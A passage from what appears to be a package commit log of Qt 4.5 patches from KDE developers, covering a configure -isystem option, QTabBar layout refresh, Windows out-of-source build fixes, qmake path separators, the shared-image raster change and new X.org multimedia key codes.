wouldn't notice this issue since /usr/include's already in your include path
and people likely don't pass -I /usr/include to configure.  I suspect that on
any platform with a regular, system-installed pcre.h (or clucene headers),
adding -I /usr/include would exhibit this bug, just as a custom-installed
pcre/clucene in another root would.

qt-bugs@ issue : 199610
Trolltech task ID :
bugs.kde.org number :
---
 configure |    8 ++++++++
 1 files changed, 8 insertions(+), 0 deletions(-)

diff --git a/configure b/configure
index 2c108ad..610a201 100755
--- a/configure
+++ b/configure
@@ -927,6 +927,11 @@ while [ "$#" -gt 0 ]; do
             VAL=`echo $1 | sed 's,-D,,'`
         fi
         ;;
+    -isystem)
+        VAR="add_isystempath"
+        shift
+        VAL="$1"
+        ;;
     -I?*|-I)
         VAR="add_ipath"
         if [ "$1" = "-I" ]; then
@@ -1890,6 +1895,9 @@ while [ "$#" -gt 0 ]; do
     add_ipath)
         I_FLAGS="$I_FLAGS -I\"${VAL}\""
         ;;
+    add_isystempath)
+        I_FLAGS="$I_FLAGS -isystem \"${VAL}\""
+        ;;
     add_lpath)
         L_FLAGS="$L_FLAGS -L\"${VAL}\""
         ;;
-- 
1.6.5.1


0005-When-tabs-are-inserted-or-removed-in-a-QTabBar.patch:
 qtabbar.cpp |    3 +--
 1 file changed, 1 insertion(+), 2 deletions(-)

Index: 0005-When-tabs-are-inserted-or-removed-in-a-QTabBar.patch
===================================================================
RCS file: 0005-When-tabs-are-inserted-or-removed-in-a-QTabBar.patch
diff -N 0005-When-tabs-are-inserted-or-removed-in-a-QTabBar.patch
--- /dev/null	1 Jan 1970 00:00:00 -0000
+++ 0005-When-tabs-are-inserted-or-removed-in-a-QTabBar.patch	27 Oct 2009 01:20:16 -0000	1.3
@@ -0,0 +1,47 @@
+From 733d1afd03908d695aa8a6518f453b9ff0e5b8a2 Mon Sep 17 00:00:00 2001
+From: Robert Knight <robertknight at gmail.com>
+Date: Sun, 20 Apr 2008 16:28:31 +0200
+Subject: [PATCH 05/13] When tabs are inserted or removed in a QTabBar,
+ QTabBarPrivate::refresh() is called to update the layout.  If the
+ tabbar widget is hidden, this just sets a boolean variable
+ (layoutDirty) and returns, so the parent widget's layout is not
+ notified about the possible geometry change.
+
+Prior to Qt 4.4 this was not a problem because the geometry was
+recalculated in QTabBar::sizeHint() if the layoutDirty variable was
+set.  In Qt 4.4 however the layout caches size hint information in
+QWidgetItemV2.  Since the cache information is not invalidated, the
+layout may end up using out-of-date size hint information to compute
+the widget size.
+
+If the QTabBar is empty when QTabBar::sizeHint() is called, it will
+return a size with a height of 0, which will be kept in the cache and
+so the tab bar will never be shown.
+
+This patch fixes the problem by calling updateGeometry() whenever the
+tab bar's layout is refreshed.
+
+qt-bugs@ issue : 208185
+Trolltech task ID : 208349
+bugs.kde.org number : 159014
+---
+ src/gui/widgets/qtabbar.cpp |    2 +-
+ 1 files changed, 1 insertions(+), 1 deletions(-)
+
+diff --git a/src/gui/widgets/qtabbar.cpp b/src/gui/widgets/qtabbar.cpp
+index 419d456..41107a0 100644
+--- a/src/gui/widgets/qtabbar.cpp
++++ b/src/gui/widgets/qtabbar.cpp
+@@ -678,8 +678,8 @@ void QTabBarPrivate::refresh()
+         layoutTabs();
+         makeVisible(currentIndex);
+         q->update();
+-        q->updateGeometry();
+     }
++    q->updateGeometry();
+ }
+ 
+ /*!
+-- 
+1.6.5.1
+

0006-Fix-configure.exe-to-do-an-out-of-source-build-on-wi.patch:
 bin/syncqt             |    6 +++++-
 projects.pro           |    3 +++
 src/tools/moc/main.cpp |    7 ++++++-
 3 files changed, 14 insertions(+), 2 deletions(-)

Index: 0006-Fix-configure.exe-to-do-an-out-of-source-build-on-wi.patch
===================================================================
RCS file: 0006-Fix-configure.exe-to-do-an-out-of-source-build-on-wi.patch
diff -N 0006-Fix-configure.exe-to-do-an-out-of-source-build-on-wi.patch
--- /dev/null	1 Jan 1970 00:00:00 -0000
+++ 0006-Fix-configure.exe-to-do-an-out-of-source-build-on-wi.patch	27 Oct 2009 01:20:17 -0000	1.3
@@ -0,0 +1,67 @@
+From 8e28e0603a900e1b18ebfd14c4f87b16dabf4cf6 Mon Sep 17 00:00:00 2001
+From: Christian Ehrlicher <ch.ehrlicher at gmx.de>
+Date: Fri, 19 Sep 2008 17:41:26 +0200
+Subject: [PATCH 06/13] Fix configure.exe to do an out-of-source build on windows
+
+qt-bugs@ issue : N227213
+Trolltech task ID : none yet
+---
+ bin/syncqt             |    6 +++++-
+ projects.pro           |    3 +++
+ src/tools/moc/main.cpp |    6 ++++++
+ 3 files changed, 14 insertions(+), 1 deletions(-)
+
+diff --git a/bin/syncqt b/bin/syncqt
+index 7a9f1d3..b5a8e1c 100755
+--- a/bin/syncqt
++++ b/bin/syncqt
+@@ -365,9 +365,13 @@ sub fixPaths {
+         $match_dir = $tmp;
+         $i = $slash;
+     }
++    my $cnt_ofs = 0;
++    if($match_dir =~ /^[a-zA-Z]:$/) {
++      $cnt_ofs = 1;
++    }
+     if($match_dir) {
+         my $after = substr($dir, length($match_dir));
+-        my $count = ($after =~ tr,/,,);
++        my $count = ($after =~ tr,/,,) - $cnt_ofs;
+         my $dots = "";
+         for(my $i = 0; $i < $count; $i++) {
+             $dots .= "../";
+diff --git a/projects.pro b/projects.pro
+index 2596c0a..3ba0688 100644
+--- a/projects.pro
++++ b/projects.pro
+@@ -127,6 +127,9 @@ unix {
+    DEFAULT_QMAKESPEC ~= s,^.*mkspecs/,,g
+    mkspecs.commands += $(DEL_FILE) $(INSTALL_ROOT)$$mkspecs.path/default; $(SYMLINK) $$DEFAULT_QMAKESPEC $(INSTALL_ROOT)$$mkspecs.path/default
+ }
++win32 {
++   mkspecs.files += $$QT_BUILD_TREE/mkspecs/default
++}
+ INSTALLS += mkspecs
+ 
+ false:macx { #mac install location
+diff --git a/src/tools/moc/main.cpp b/src/tools/moc/main.cpp
+index d519b09..7979836 100644
+--- a/src/tools/moc/main.cpp
++++ b/src/tools/moc/main.cpp
+@@ -94,7 +94,13 @@ static QByteArray combinePath(const char *infile, const char *outfile)
+         inSplitted.prepend(QLatin1String(".."));
+     }
+     inSplitted.append(inFileInfo.fileName());
++#ifdef Q_WS_WIN
++    const QString rel = inSplitted.join(QLatin1String("/"));
++    const QString abs = inFileInfo.absoluteFilePath();
++    return QFile::encodeName(rel.length() < abs.length() ? rel : abs);
++#else
+     return QFile::encodeName(inSplitted.join(QLatin1String("/")));
++#endif
+ }
+ 
+ 
+-- 
+1.6.5.1
+

0007-When-using-qmake-outside-qt-src-tree-it-sometimes-ge.patch:
 property.cpp |   30 ++++++++++++++++--------------
 1 file changed, 16 insertions(+), 14 deletions(-)

--- NEW FILE 0007-When-using-qmake-outside-qt-src-tree-it-sometimes-ge.patch ---
>From 0afcf33127c6ccbe5dfaae4f4c5e02f28dc10ae1 Mon Sep 17 00:00:00 2001
From: Christian Ehrlicher <ch.ehrlicher at gmx.de>
Date: Thu, 8 May 2008 21:25:49 +0200
Subject: [PATCH 07/13] When using qmake outside qt src tree, it sometimes generates wrong
 paths (wrong path separator)

qt-bugs@ issue : none
Trolltech task ID : 214661
---
 qmake/property.cpp |   29 ++++++++++++++++-------------
 1 files changed, 16 insertions(+), 13 deletions(-)

diff --git a/qmake/property.cpp b/qmake/property.cpp
index 8ba89f9..dd78349 100644
--- a/qmake/property.cpp
+++ b/qmake/property.cpp
@@ -81,29 +81,32 @@ QMakeProperty::keyBase(bool version) const
 QString
 QMakeProperty::value(QString v, bool just_check)
 {
+    QString ret;
     if(v == "QT_INSTALL_PREFIX")
-        return QLibraryInfo::location(QLibraryInfo::PrefixPath);
+        ret = QLibraryInfo::location(QLibraryInfo::PrefixPath);
     else if(v == "QT_INSTALL_DATA")
-        return QLibraryInfo::location(QLibraryInfo::DataPath);
+        ret = QLibraryInfo::location(QLibraryInfo::DataPath);
     else if(v == "QT_INSTALL_DOCS")
-        return QLibraryInfo::location(QLibraryInfo::DocumentationPath);
+        ret = QLibraryInfo::location(QLibraryInfo::DocumentationPath);
     else if(v == "QT_INSTALL_HEADERS")
-        return QLibraryInfo::location(QLibraryInfo::HeadersPath);
+        ret = QLibraryInfo::location(QLibraryInfo::HeadersPath);
     else if(v == "QT_INSTALL_LIBS")
-        return QLibraryInfo::location(QLibraryInfo::LibrariesPath);
+        ret = QLibraryInfo::location(QLibraryInfo::LibrariesPath);
     else if(v == "QT_INSTALL_BINS")
-        return QLibraryInfo::location(QLibraryInfo::BinariesPath);
+        ret = QLibraryInfo::location(QLibraryInfo::BinariesPath);
     else if(v == "QT_INSTALL_PLUGINS")
-        return QLibraryInfo::location(QLibraryInfo::PluginsPath);
+        ret = QLibraryInfo::location(QLibraryInfo::PluginsPath);
     else if(v == "QT_INSTALL_TRANSLATIONS")
-        return QLibraryInfo::location(QLibraryInfo::TranslationsPath);
+        ret = QLibraryInfo::location(QLibraryInfo::TranslationsPath);
     else if(v == "QT_INSTALL_CONFIGURATION")
-        return QLibraryInfo::location(QLibraryInfo::SettingsPath);
+        ret = QLibraryInfo::location(QLibraryInfo::SettingsPath);
     else if(v == "QT_INSTALL_EXAMPLES")
-        return QLibraryInfo::location(QLibraryInfo::ExamplesPath);
+        ret = QLibraryInfo::location(QLibraryInfo::ExamplesPath);
     else if(v == "QT_INSTALL_DEMOS")
-        return QLibraryInfo::location(QLibraryInfo::DemosPath);
-    else if(v == "QMAKE_MKSPECS")
+        ret = QLibraryInfo::location(QLibraryInfo::DemosPath);
+    if(!ret.isEmpty())
+        return QDir::toNativeSeparators(ret);
+    if(v == "QMAKE_MKSPECS")
         return qmake_mkspec_paths().join(Option::target_mode == Option::TARG_WIN_MODE ? ";" : ":");
     else if(v == "QMAKE_VERSION")
         return qmake_version();
@@ -116,7 +119,7 @@ QMakeProperty::value(QString v, bool just_check)
     int slash = v.lastIndexOf('/');
     QVariant var = settings->value(keyBase(slash == -1) + v);
     bool ok = var.isValid();
-    QString ret = var.toString();
+    ret = var.toString();
     if(!ok) {
         QString version = qmake_version();
         if(slash != -1) {
-- 
1.6.5.1


0008-This-patch-makes-the-raster-graphics-system-use-shar.patch:
 image/qnativeimage.cpp             |   10 ----------
 image/qnativeimage_p.h             |    1 -
 painting/qwindowsurface_raster.cpp |   14 ++++++++++----
 3 files changed, 10 insertions(+), 15 deletions(-)

--- NEW FILE 0008-This-patch-makes-the-raster-graphics-system-use-shar.patch ---
>From 8731ab999b849dac4716e3d29f5f55ed8e56438e Mon Sep 17 00:00:00 2001
From: Thiago Macieira <thiago.macieira at nokia.com>
Date: Thu, 25 Jun 2009 13:50:29 +0200
Subject: [PATCH 08/13] This patch makes the raster graphics system use shared images instead
 of shared pixmaps.

Shared memory pixmaps are deprecated since they are slower than shared
images with modern graphics hardware. They are also not supported by EXA
drivers and can be disabled in the latest version of the NVidia driver.

qt-bugs@ issue : none
Qt Software task ID : none
bugs.kde.org number : none
---
 src/gui/image/qnativeimage.cpp             |   10 ----------
 src/gui/image/qnativeimage_p.h             |    1 -
 src/gui/painting/qwindowsurface_raster.cpp |   13 ++++++++++---
 3 files changed, 10 insertions(+), 14 deletions(-)

diff --git a/src/gui/image/qnativeimage.cpp b/src/gui/image/qnativeimage.cpp
index 3745708..3c21fce 100644
--- a/src/gui/image/qnativeimage.cpp
+++ b/src/gui/image/qnativeimage.cpp
@@ -147,7 +147,6 @@ QNativeImage::QNativeImage(int width, int height, QImage::Format format,bool /*
 {
     if (!X11->use_mitshm) {
         xshmimg = 0;
-        xshmpm = 0;
         image = QImage(width, height, format);
         return;
     }
@@ -191,11 +190,6 @@ QNativeImage::QNativeImage(int width, int height, QImage::Format format,bool /*
             shmctl(xshminfo.shmid, IPC_RMID, 0);
         return;
     }
-    xshmpm = XShmCreatePixmap(X11->display, DefaultRootWindow(X11->display), xshmimg->data,
-                              &xshminfo, width, height, dd);
-    if (!xshmpm) {
-        qWarning() << "QNativeImage: Unable to create shared Pixmap.";
-    }
 }
 
 
@@ -204,10 +198,6 @@ QNativeImage::~QNativeImage()
     if (!xshmimg)
         return;
 
-    if (xshmpm) {
-        XFreePixmap(X11->display, xshmpm);
-        xshmpm = 0;
-    }
     XShmDetach(X11->display, &xshminfo);
     xshmimg->data = 0;
     XDestroyImage(xshmimg);
diff --git a/src/gui/image/qnativeimage_p.h b/src/gui/image/qnativeimage_p.h
index 07d5dfe..ba01854 100644
--- a/src/gui/image/qnativeimage_p.h
+++ b/src/gui/image/qnativeimage_p.h
@@ -90,7 +90,6 @@ public:
 
 #elif defined(Q_WS_X11) && !defined(QT_NO_MITSHM)
     XImage *xshmimg;
-    Pixmap xshmpm;
     XShmSegmentInfo xshminfo;
 
 #elif defined(Q_WS_MAC)
diff --git a/src/gui/painting/qwindowsurface_raster.cpp b/src/gui/painting/qwindowsurface_raster.cpp
index d6fb03b..09963d9 100644
--- a/src/gui/painting/qwindowsurface_raster.cpp
+++ b/src/gui/painting/qwindowsurface_raster.cpp
@@ -220,9 +220,16 @@ void QRasterWindowSurface::flush(QWidget *widget, const QRegion &rgn, const QPoi
 
     QRect br = rgn.boundingRect().translated(offset);
 #ifndef QT_NO_MITSHM
-    if (d_ptr->image->xshmpm) {
-        XCopyArea(X11->display, d_ptr->image->xshmpm, widget->handle(), d_ptr->gc,
-                  br.x(), br.y(), br.width(), br.height(), wbr.x(), wbr.y());
+    if (d_ptr->image->xshmimg && (br.width() * br.height() > 65536)) {
+        const QImage &src = d->image->image;
+        br = br.intersected(src.rect());
+        // Hack to make sure we satisify the PutImage() constraints in the X server,
+        // since the doShmPutImage() route currently forces a migration to system ram.
+        wbr.setX(wbr.x() - br.x());
+        br.setX(0);
+        br.setWidth(src.width());
+        XShmPutImage(X11->display, widget->handle(), d_ptr->gc, d_ptr->image->xshmimg,
+                     br.x(), br.y(), wbr.x(), wbr.y(), br.width(), br.height(), False);
         XSync(X11->display, False);
     } else
 #endif
-- 
1.6.5.1


0009-Restore-a-section-of-the-file-that-got-removed-due-t.patch:
 qapplication_x11.cpp |    7 +++----
 1 file changed, 3 insertions(+), 4 deletions(-)

--- NEW FILE 0009-Restore-a-section-of-the-file-that-got-removed-due-t.patch ---
>From bb8255da422470c5012b6b1c4c24eb2afb6804dc Mon Sep 17 00:00:00 2001
From: Thiago Macieira <thiago.macieira at nokia.com>
Date: Fri, 26 Jun 2009 11:41:45 +0200
Subject: [PATCH 09/13] Restore a section of the file that got removed due to conflict resolution.

Thanks to Kevin Kofler for pointing this out
---
 src/gui/kernel/qapplication_x11.cpp |    6 +++---
 1 files changed, 3 insertions(+), 3 deletions(-)

diff --git a/src/gui/kernel/qapplication_x11.cpp b/src/gui/kernel/qapplication_x11.cpp
index 33aec9e..53f020b 100644
--- a/src/gui/kernel/qapplication_x11.cpp
+++ b/src/gui/kernel/qapplication_x11.cpp
@@ -1955,9 +1955,9 @@ void qt_init(QApplicationPrivate *priv, int,
             bool local = displayName.isEmpty() || displayName.lastIndexOf(QLatin1Char(':')) == 0;
             if (local && (qgetenv("QT_X11_NO_MITSHM").toInt() == 0)) {
                 Visual *defaultVisual = DefaultVisual(X11->display, DefaultScreen(X11->display));
-                X11->use_mitshm = mitshm_pixmaps && (defaultVisual->red_mask == 0xff0000
-                                                     && defaultVisual->green_mask == 0xff00
-                                                     && defaultVisual->blue_mask == 0xff);
+                X11->use_mitshm = defaultVisual->red_mask == 0xff0000
+                                  && defaultVisual->green_mask == 0xff00
+                                  && defaultVisual->blue_mask == 0xff;
             }
         }
 #endif // QT_NO_MITSHM
-- 
1.6.5.1


0010-Fix-error-line-not-to-have-a-as-it-s-not-correct.patch:
 DerivedSources.cpp |    3 +--
 1 file changed, 1 insertion(+), 2 deletions(-)

--- NEW FILE 0010-Fix-error-line-not-to-have-a-as-it-s-not-correct.patch ---
>From 4b5ae1db24fa1b96f00ef62bd2e1063a8a313e5c Mon Sep 17 00:00:00 2001
From: Albert Astals Cid <aacid at kde.org>
Date: Sat, 27 Jun 2009 14:19:23 +0200
Subject: [PATCH 10/13] Fix #error line not to have a ' as it's not correct

---
 src/3rdparty/webkit/WebCore/DerivedSources.cpp |    2 +-
 1 files changed, 1 insertions(+), 1 deletions(-)

diff --git a/src/3rdparty/webkit/WebCore/DerivedSources.cpp b/src/3rdparty/webkit/WebCore/DerivedSources.cpp
index f698913..aaf8983 100644
--- a/src/3rdparty/webkit/WebCore/DerivedSources.cpp
+++ b/src/3rdparty/webkit/WebCore/DerivedSources.cpp
@@ -334,5 +334,5 @@
 // want StaticConstructors.h to "pollute" all the source files we #include here
 // accidentally, so we'll throw an error whenever any file includes it.
 #ifdef StaticConstructors_h
-#error Don't include any file in DerivedSources.cpp that includes StaticConstructors.h
+#error Do not include any file in DerivedSources.cpp that includes StaticConstructors.h
 #endif
-- 
1.6.5.1


0011-Fill-gap-of-X.org-XFree-multimedia-special-launcher-.patch:
 corelib/global/qnamespace.h   |   97 +++++++++++++-
 gui/kernel/qkeymapper_x11.cpp |  286 ++++++++++++++++++++++++++++++++++--------
 gui/kernel/qkeysequence.cpp   |  175 +++++++++++++++++++------
 3 files changed, 461 insertions(+), 97 deletions(-)

--- NEW FILE 0011-Fill-gap-of-X.org-XFree-multimedia-special-launcher-.patch ---
>From 1a94cd7b132497f70a2b97ec2b58f6e2b1c5076a Mon Sep 17 00:00:00 2001
From: Helio Chissini de Castro <helio at kde.org>
Date: Fri, 10 Jul 2009 16:00:13 -0300
Subject: [PATCH 11/13] Fill gap of X.org/XFree multimedia/special/launcher keys
 Qt up to 4.5.x is missing whole setup of multimedia keys already defined by X

---
 src/corelib/global/qnamespace.h   |   97 ++++++++++++-
 src/gui/kernel/qkeymapper_x11.cpp |  286 ++++++++++++++++++++++++++++++-------
 src/gui/kernel/qkeysequence.cpp   |  174 +++++++++++++++++------
 3 files changed, 461 insertions(+), 96 deletions(-)

diff --git a/src/corelib/global/qnamespace.h b/src/corelib/global/qnamespace.h
index 3edbca7..ddf27a8 100644
--- a/src/corelib/global/qnamespace.h
+++ b/src/corelib/global/qnamespace.h
@@ -895,12 +895,10 @@ public:
         Key_Dead_Horn           = 0x01001262,
 
         // multimedia/internet keys - ignored by default - see QKeyEvent c'tor
-
         Key_Back  = 0x01000061,
         Key_Forward  = 0x01000062,
         Key_Stop  = 0x01000063,
         Key_Refresh  = 0x01000064,
-
         Key_VolumeDown = 0x01000070,
         Key_VolumeMute  = 0x01000071,
         Key_VolumeUp = 0x01000072,
@@ -909,7 +907,6 @@ public:
         Key_BassDown = 0x01000075,
         Key_TrebleUp = 0x01000076,
         Key_TrebleDown = 0x01000077,
-
         Key_MediaPlay  = 0x01000080,
         Key_MediaStop  = 0x01000081,
         Key_MediaPrevious  = 0x01000082,
@@ -918,13 +915,11 @@ public:
 #endif
         Key_MediaNext  = 0x01000083,
         Key_MediaRecord = 0x01000084,
-
         Key_HomePage  = 0x01000090,
         Key_Favorites  = 0x01000091,
         Key_Search  = 0x01000092,
         Key_Standby = 0x01000093,
         Key_OpenUrl = 0x01000094,
-
         Key_LaunchMail  = 0x010000a0,
         Key_LaunchMedia = 0x010000a1,
         Key_Launch0  = 0x010000a2,
@@ -943,6 +938,98 @@ public:
         Key_LaunchD  = 0x010000af,
         Key_LaunchE  = 0x010000b0,
         Key_LaunchF  = 0x010000b1,
+        Key_MonBrightnessUp = 0x010000b2,
+        Key_MonBrightnessDown = 0x010000b3,
+        Key_KeyboardLightOnOff = 0x010000b4,
+        Key_KeyboardBrightnessUp = 0x010000b5,
+        Key_KeyboardBrightnessDown = 0x010000b6,
+        Key_PowerOff = 0x010000b7,
+        Key_WakeUp = 0x010000b8,
+        Key_Eject = 0x010000b9,
+        Key_ScreenSaver = 0x010000ba,
+        Key_WWW = 0x010000bb,
+        Key_Memo = 0x010000bc,
+        Key_LightBulb = 0x010000bd,
+        Key_Shop = 0x010000be,
+        Key_History = 0x010000bf,
+        Key_AddFavorite = 0x010000c0,
+        Key_HotLinks = 0x010000c1,
+        Key_BrightnessAdjust = 0x010000c2,
+        Key_Finance = 0x010000c3,
+        Key_Community = 0x010000c4,
+        Key_AudioRewind = 0x010000c5,
+        Key_BackForward = 0x010000c6,
+        Key_ApplicationLeft = 0x010000c7,
+        Key_ApplicationRight = 0x010000c8,
+        Key_Book = 0x010000c9,
+        Key_CD = 0x010000ca,
+        Key_Calculator = 0x010000cb,
+        Key_ToDoList = 0x010000cc,
+        Key_ClearGrab = 0x010000cd,
+        Key_Close = 0x010000ce,
+        Key_Copy = 0x010000cf,
+        Key_Cut = 0x010000d0,
+        Key_Display = 0x010000d1,
+        Key_DOS = 0x010000d2,
+        Key_Documents = 0x010000d3,
+        Key_Excel = 0x010000d4,
+        Key_Explorer = 0x010000d5,
+        Key_Game = 0x010000d6,
+        Key_Go = 0x010000d7,
+        Key_iTouch = 0x010000d8,
+        Key_LogOff = 0x010000d9,
+        Key_Market = 0x010000da,
+        Key_Meeting = 0x010000db,
+        Key_MenuKB = 0x010000dc,
+        Key_MenuPB = 0x010000dd,
+        Key_MySites = 0x010000de,
+        Key_News = 0x010000df,
+        Key_OfficeHome = 0x010000e0,
+        Key_Option = 0x010000e1,
+        Key_Paste = 0x010000e2,
+        Key_Phone = 0x010000e3,
+        Key_Calendar = 0x010000e4,
+        Key_Reply = 0x010000e5,
+        Key_Reload = 0x010000e6,
+        Key_RotateWindows = 0x010000e7,
+        Key_RotationPB = 0x010000e8,
+        Key_RotationKB = 0x010000e9,
+        Key_Save = 0x010000ea,
+        Key_Send = 0x010000eb,
+        Key_Spell = 0x010000ec,
+        Key_SplitScreen = 0x010000ed,
+        Key_Support = 0x010000ee,
+        Key_TaskPane = 0x010000ef,
+        Key_Terminal = 0x010000f0,
+        Key_Tools = 0x010000f1,
+        Key_Travel = 0x010000f2,
+        Key_Video = 0x010000f3,
+        Key_Word = 0x010000f4,
+        Key_Xfer = 0x010000f5,
+        Key_ZoomIn = 0x010000f6,
+        Key_ZoomOut = 0x010000f7,
+        Key_Away = 0x010000f8,
+        Key_Messenger = 0x010000f9,
+        Key_WebCam = 0x010000fa,
+        Key_MailForward = 0x010000fb,
+        Key_Pictures = 0x010000fc,
+        Key_Music = 0x010000fd,
+        Key_Battery = 0x010000fe,
+        Key_Bluetooth = 0x010000ff,
+        Key_WLAN = 0x01000100,
+        Key_UWB = 0x01000101,
+        Key_AudioForward = 0x01000102,
+        Key_AudioRepeat = 0x01000103,
+        Key_AudioRandomPlay = 0x01000104,
+        Key_Subtitle = 0x01000105,
+        Key_AudioCycleTrack = 0x01000106,
+        Key_Time = 0x01000107,
+        Key_Hibernate = 0x01000108,
+        Key_View = 0x01000109,
+        Key_TopMenu = 0x0100010a,
+        Key_PowerDown = 0x0100010b,
+        Key_Suspend = 0x0100010c,
+        Key_ContrastAdjust = 0x0100010d,
 
         Key_MediaLast = 0x0100ffff,
 
diff --git a/src/gui/kernel/qkeymapper_x11.cpp b/src/gui/kernel/qkeymapper_x11.cpp
index 98ed61c..f55b491 100644
--- a/src/gui/kernel/qkeymapper_x11.cpp
+++ b/src/gui/kernel/qkeymapper_x11.cpp
@@ -714,47 +714,144 @@ extern bool qt_sm_blockUserInput;
 #define XK_KP_Delete            0xFF9F
 #endif
 
-// the next lines are taken from XFree > 4.0 (X11/XF86keysyms.h), defining some special
+// the next lines are taken on 10/2009 from X.org (X11/XF86keysym.h), defining some special
 // multimedia keys. They are included here as not every system has them.
-#define XF86XK_Standby          0x1008FF10
-#define XF86XK_AudioLowerVolume 0x1008FF11
-#define XF86XK_AudioMute        0x1008FF12
-#define XF86XK_AudioRaiseVolume 0x1008FF13
-#define XF86XK_AudioPlay        0x1008FF14
-#define XF86XK_AudioStop        0x1008FF15
-#define XF86XK_AudioPrev        0x1008FF16
-#define XF86XK_AudioNext        0x1008FF17
-#define XF86XK_HomePage         0x1008FF18
-#define XF86XK_Calculator       0x1008FF1D
-#define XF86XK_Mail             0x1008FF19
-#define XF86XK_Start            0x1008FF1A
-#define XF86XK_Search           0x1008FF1B
-#define XF86XK_AudioRecord      0x1008FF1C
-#define XF86XK_Back             0x1008FF26
-#define XF86XK_Forward          0x1008FF27
-#define XF86XK_Stop             0x1008FF28
-#define XF86XK_Refresh          0x1008FF29
-#define XF86XK_Favorites        0x1008FF30
-#define XF86XK_AudioPause       0x1008FF31
-#define XF86XK_AudioMedia       0x1008FF32
-#define XF86XK_MyComputer       0x1008FF33
-#define XF86XK_OpenURL          0x1008FF38
-#define XF86XK_Launch0          0x1008FF40
-#define XF86XK_Launch1          0x1008FF41
-#define XF86XK_Launch2          0x1008FF42
-#define XF86XK_Launch3          0x1008FF43
-#define XF86XK_Launch4          0x1008FF44
-#define XF86XK_Launch5          0x1008FF45
-#define XF86XK_Launch6          0x1008FF46
-#define XF86XK_Launch7          0x1008FF47
-#define XF86XK_Launch8          0x1008FF48
-#define XF86XK_Launch9          0x1008FF49
-#define XF86XK_LaunchA          0x1008FF4A
-#define XF86XK_LaunchB          0x1008FF4B
-#define XF86XK_LaunchC          0x1008FF4C
-#define XF86XK_LaunchD          0x1008FF4D
-#define XF86XK_LaunchE          0x1008FF4E
-#define XF86XK_LaunchF          0x1008FF4F
+#define XF86XK_MonBrightnessUp     0x1008FF02
+#define XF86XK_MonBrightnessDown   0x1008FF03
+#define XF86XK_KbdLightOnOff       0x1008FF04
+#define XF86XK_KbdBrightnessUp     0x1008FF05
+#define XF86XK_KbdBrightnessDown   0x1008FF06
+#define XF86XK_Standby             0x1008FF10
+#define XF86XK_AudioLowerVolume	   0x1008FF11
+#define XF86XK_AudioMute           0x1008FF12
+#define XF86XK_AudioRaiseVolume    0x1008FF13
+#define XF86XK_AudioPlay           0x1008FF14
+#define XF86XK_AudioStop           0x1008FF15
+#define XF86XK_AudioPrev           0x1008FF16
+#define XF86XK_AudioNext           0x1008FF17
+#define XF86XK_HomePage            0x1008FF18
+#define XF86XK_Mail                0x1008FF19
+#define XF86XK_Start               0x1008FF1A
+#define XF86XK_Search              0x1008FF1B
+#define XF86XK_AudioRecord         0x1008FF1C
+#define XF86XK_Calculator          0x1008FF1D
+#define XF86XK_Memo                0x1008FF1E
+#define XF86XK_ToDoList            0x1008FF1F
+#define XF86XK_Calendar            0x1008FF20
+#define XF86XK_PowerDown           0x1008FF21
+#define XF86XK_ContrastAdjust      0x1008FF22
+#define XF86XK_Back                0x1008FF26
+#define XF86XK_Forward             0x1008FF27
+#define XF86XK_Stop                0x1008FF28
+#define XF86XK_Refresh             0x1008FF29
+#define XF86XK_PowerOff            0x1008FF2A
+#define XF86XK_WakeUp              0x1008FF2B
+#define XF86XK_Eject               0x1008FF2C
+#define XF86XK_ScreenSaver         0x1008FF2D
+#define XF86XK_WWW                 0x1008FF2E
+#define XF86XK_Sleep               0x1008FF2F
+#define XF86XK_Favorites           0x1008FF30
+#define XF86XK_AudioPause          0x1008FF31
+#define XF86XK_AudioMedia          0x1008FF32
+#define XF86XK_MyComputer          0x1008FF33
+#define XF86XK_LightBulb           0x1008FF35
+#define XF86XK_Shop                0x1008FF36
+#define XF86XK_History             0x1008FF37
+#define XF86XK_OpenURL             0x1008FF38
+#define XF86XK_AddFavorite         0x1008FF39
+#define XF86XK_HotLinks            0x1008FF3A
+#define XF86XK_BrightnessAdjust    0x1008FF3B
+#define XF86XK_Finance             0x1008FF3C
+#define XF86XK_Community           0x1008FF3D
+#define XF86XK_AudioRewind         0x1008FF3E
+#define XF86XK_BackForward         0x1008FF3F
+#define XF86XK_Launch0             0x1008FF40
+#define XF86XK_Launch1             0x1008FF41
+#define XF86XK_Launch2             0x1008FF42
+#define XF86XK_Launch3             0x1008FF43
+#define XF86XK_Launch4             0x1008FF44
+#define XF86XK_Launch5             0x1008FF45
+#define XF86XK_Launch6             0x1008FF46
+#define XF86XK_Launch7             0x1008FF47
+#define XF86XK_Launch8             0x1008FF48
+#define XF86XK_Launch9             0x1008FF49
+#define XF86XK_LaunchA             0x1008FF4A
+#define XF86XK_LaunchB             0x1008FF4B
+#define XF86XK_LaunchC             0x1008FF4C
+#define XF86XK_LaunchD             0x1008FF4D
+#define XF86XK_LaunchE             0x1008FF4E
+#define XF86XK_LaunchF             0x1008FF4F
+#define XF86XK_ApplicationLeft     0x1008FF50
+#define XF86XK_ApplicationRight    0x1008FF51
+#define XF86XK_Book                0x1008FF52
+#define XF86XK_CD                  0x1008FF53
+#define XF86XK_Calculater          0x1008FF54
+#define XF86XK_Clear               0x1008FF55
+#define XF86XK_ClearGrab           0x1008FE21
+#define XF86XK_Close               0x1008FF56
+#define XF86XK_Copy                0x1008FF57
+#define XF86XK_Cut                 0x1008FF58
+#define XF86XK_Display             0x1008FF59
+#define XF86XK_DOS                 0x1008FF5A
+#define XF86XK_Documents           0x1008FF5B
+#define XF86XK_Excel               0x1008FF5C
+#define XF86XK_Explorer            0x1008FF5D
+#define XF86XK_Game                0x1008FF5E
+#define XF86XK_Go                  0x1008FF5F
+#define XF86XK_iTouch              0x1008FF60
+#define XF86XK_LogOff              0x1008FF61
+#define XF86XK_Market              0x1008FF62
+#define XF86XK_Meeting             0x1008FF63
+#define XF86XK_MenuKB              0x1008FF65
+#define XF86XK_MenuPB              0x1008FF66
+#define XF86XK_MySites             0x1008FF67
+#define XF86XK_News                0x1008FF69
+#define XF86XK_OfficeHome          0x1008FF6A
+#define XF86XK_Option              0x1008FF6C
+#define XF86XK_Paste               0x1008FF6D
+#define XF86XK_Phone               0x1008FF6E
+#define XF86XK_Reply               0x1008FF72
+#define XF86XK_Reload              0x1008FF73
+#define XF86XK_RotateWindows       0x1008FF74
+#define XF86XK_RotationPB          0x1008FF75
+#define XF86XK_RotationKB          0x1008FF76
+#define XF86XK_Save                0x1008FF77
+#define XF86XK_Send                0x1008FF7B
+#define XF86XK_Spell               0x1008FF7C
